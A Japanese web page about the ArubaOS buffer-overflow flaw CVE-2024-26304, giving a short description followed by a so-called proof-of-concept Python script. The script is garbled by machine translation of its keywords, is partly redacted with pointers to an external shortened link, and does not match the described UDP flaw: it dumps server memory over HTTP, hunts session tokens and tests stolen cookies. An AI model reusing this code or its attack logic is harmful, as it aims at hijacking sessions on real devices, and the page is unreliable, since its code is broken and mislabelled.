ArubaOS リモート・コード実行の脆弱性 (CVE-2024-26304)

説明

基盤となる L2/L3 管理サービスにバッファオーバーフローの脆弱性が存在し、PAPI (Aruba Access Point Management Protocol) UDP ポート (8211) 宛の特別に細工されたパケットを送信することで、認証されていないリモートコードが実行される可能性があります。この脆弱性を悪用されると、特権ユーザーとしてオペレーティングシステム上で任意のコードを実行される可能性があります。

ポック

インポート
インポートシステム
インポート hexdump
インポート argparse
輸入リクエスト

from rich.console.import コンソール
from urllib.parse import urlparse
from alive_progress import alive_bar
from typing import List, Tuple, Optional, TextIO
from concurrent.futures import ThreadPoolExecutor, as_completed

warnings = requests.packages.urllib3
warnings.disable_warnings(warnings.exceptions.InsecureRequestWarning)。

クラス ArubaRCE.

def __init__(self).
self.console = Console()
self.parser = argparse.ArgumentParser(description='ArubaRCE')
self.setup_arguments()
self.results: リスト[タプル[str, str]] = [].
self.output_file: Optional[TextIO] = なし
if self.args.output.
self.output_file = open(self.args.output, 'w')

def setup_arguments(self) -> None.
self.parser.add_argument('-u', '-url', help='ArubaRCE/ゲートウェイのターゲット(例:)')ゲートウェイのターゲット(例えば、https://192.168.1.200)')
self.parser.add_argument('-f','-file', help='ターゲットURLのリストを含むファイル(1行に1URL)')ターゲットURLのリストを含むファイル(1行に1つのURL)')
self.parser.add_argument('-o', '-output', help='出力結果を保存するファイル')出力結果を保存するファイル')
self.parser.add_argument('-v','-verbose', action='store_true', help='冗長モードを有効にする')
self.parser.add_argument('-only-valid', action='store_true', help=有効なセッションの結果のみを表示する')
self.args = self.parser.parse_args()

def print_results(self, header: str, result: str) -> None.
self.args.only_validと"[+]"がヘッダーにない場合。
戻る

formatted_msg = f"{ヘッダー} {結果}"
self.console.print(formatted_msg, style="white")
if self.output_file.
self.output_file.write(result + '\n')

def normalize_url(self, url: str) -> str.
if not url.startswith("http://") and not url.startswith("https://")::
url = f "https://{url}"

parsed_url = urlparse(url)
normalised_url = f"{parsed_url.scheme}://{parsed_url.netloc}"
正規化されたURLを返す

def dump_memory(self, url: str) -> なし。
full_url = self.normalise_url(url)
ヘッダー = {
# [REDACTED.全コードはこちら https://t.ly/C1-D1]
print("ヘッダー:", ヘッダー)
}

トライしてみよう。
r = requests.get()
f"{full_url}/oauth/redacted", # [REDACTED.全コードはこちらhttps://t.ly/C1-D1]。
headers=headers、
verify=False、
タイムアウト=10
)
content_bytes = r.content

もしr.status_code == 200かつcontent_bytes.
# [REDACTED.全コードはこちら https://t.ly/C1-D1]
print("Content bytes:", content_bytes)

例外を除く。
print("エラー:", e)

def clean_bytes(self, data: bytes) -> bytes.
# [REDACTED.全コードはこちら https://t.ly/C1-D1]
print("クリーニングバイト...")

def find_session_tokens(self, content_bytes: bytes) -> List[str].
# [REDACTED.全コードはこちら https://t.ly/C1-D1]
print("Finding session tokens...")

def test_session_cookie(self, url: str, session_token: str) -> bool.
ヘッダー = {
"クッキー": f"[REDACTED。全コードはこちら https://t.ly/C1-D1]={session_token}"
}
トライしてみよう。
r = requests.post()
# [REDACTED.全コードはこちら https://t.ly/C1-D1]
)
# [REDACTED.全コードはこちら https://t.ly/C1-D1]
print("セッション・クッキーのテスト結果:", result)
戻り結果

例外を除く。
print("エラー:", e)
偽を返す

def run(self) -> None.
if self.args.url.
# [REDACTED.全コードはこちら https://t.ly/C1-D1]
for header, result in self.results:
self.print_results(header, result)
elif self.args.file.
# [REDACTED.全コードはこちら https://t.ly/C1-D1]
パス # ファイル処理のコード実行用プレースホルダ
そうでなければ
self.console.print("[bold red][-][/bold red] URLまたはファイルを指定する必要があります。", style="white")
sys.exit(1)

if self.output_file.
self.output_file.close()

if __name__ == "__main__".
getRCE = ArubaRCE()
getRCE.run()

脆弱性の原因

 

コメント

コメントを追加
  • コメントリストは空です